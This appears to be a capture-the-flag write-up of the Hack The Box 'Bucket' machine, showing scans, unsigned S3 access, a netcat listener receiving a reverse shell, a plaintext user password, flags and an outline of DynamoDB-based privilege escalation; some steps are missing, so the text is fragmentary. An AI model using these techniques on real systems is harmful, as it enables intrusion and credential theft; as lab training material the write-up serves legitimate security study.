root@kali:~/hackthebox/machine/bucket# nmap -sV -v -p- --min-rate=10000 10.10.10.212 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41
install aws-cli
1
apt-get install awscli
configure aws
1 2 3 4 5
root@kali:~/hackthebox/machine/bucket# aws configure AWS Access Key ID [None]: AKIAIOSFODNN7EXAMPLE AWS Secret Access Key [None]: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY Default region name [None]: us-west-2 Default output format [None]: json
listing the available buckets in s3.bucket.htb
1 2
root@kali:~/hackthebox/machine/bucket# aws s3 ls --endpoint-url http://s3.bucket.htb --no-sign-request 2020-11-07 06:25:03 adserver
root@kali:~/hackthebox/machine/bucket# nc -lvp 3344 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::3344 Ncat: Listening on 0.0.0.0:3344 Ncat: Connection from 10.10.10.212. Ncat: Connection from 10.10.10.212:45936. Linux bucket 5.4.0-48-generic #52-Ubuntu SMP Thu Sep 10 10:58:49 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux 12:21:02 up 1:09, 1 user, load average: 0.41, 0.14, 0.04 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT roy pts/0 10.10.14.2 12:10 10:06 0.03s 0.03s -bash uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ python -c 'import pty; pty.spawn("/bin/bash")' /bin/sh: 1: python: not found $ python3 -c 'import pty; pty.spawn("/bin/bash")' www-data@bucket:/$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@bucket:/$ whoami whoami www-data www-data@bucket:/$ ls /home ls /home roy www-data@bucket:/$ su roy su roy Password: n2vM-<_K_Q:.Aa2 roy@bucket:/$ cd ~ cd ~ roy@bucket:~$ ls ls project user.txt roy@bucket:~$ cat user.txt cat user.txt fb6d6fd9ef6bc4d570af540eb8f3bed7
now we got the user flag
privilege esclation
aws is installed in the system and an internal service port 8000 (web service) and port 4566 (aws service)
forward the port 8000 to local machine with chisel
In the bucket-app/index.php the index.php shows another communcation to the internal service, a new table name alerts whichi is accessed with a post request with the values data
System information as of Sat 07 Nov 2020 12:33:44 PM UTC
System load: 0.12 Usage of /: 39.8% of 19.56GB Memory usage: 19% Swap usage: 0% Processes: 190 Users logged in: 0 IPv4 address for br-bee97070fb20: 172.18.0.1 IPv4 address for docker0: 172.17.0.1 IPv4 address for ens160: 10.10.10.212 IPv6 address for ens160: dead:beef::250:56ff:feb9:c42
91 updates can be installed immediately. 0 of these updates are security updates. To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Oct 13 10:25:01 2020 root@bucket:~# id uid=0(root) gid=0(root) groups=0(root) root@bucket:~# whoami root root@bucket:~# ls backups docker-compose.yml files restore.php restore.sh root.txt snap start.sh sync.sh root@bucket:~# cat root.txt 51849d4b9ce892c1a92d37acd665a1b2
and we finally got root
Summary of knowledge
aws upload shell
enumerate dynamodb tables
port forwarding
create dynamodb table to read files
Contact me
QQ: 1185151867
twitter: https://twitter.com/fdlucifer11
github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…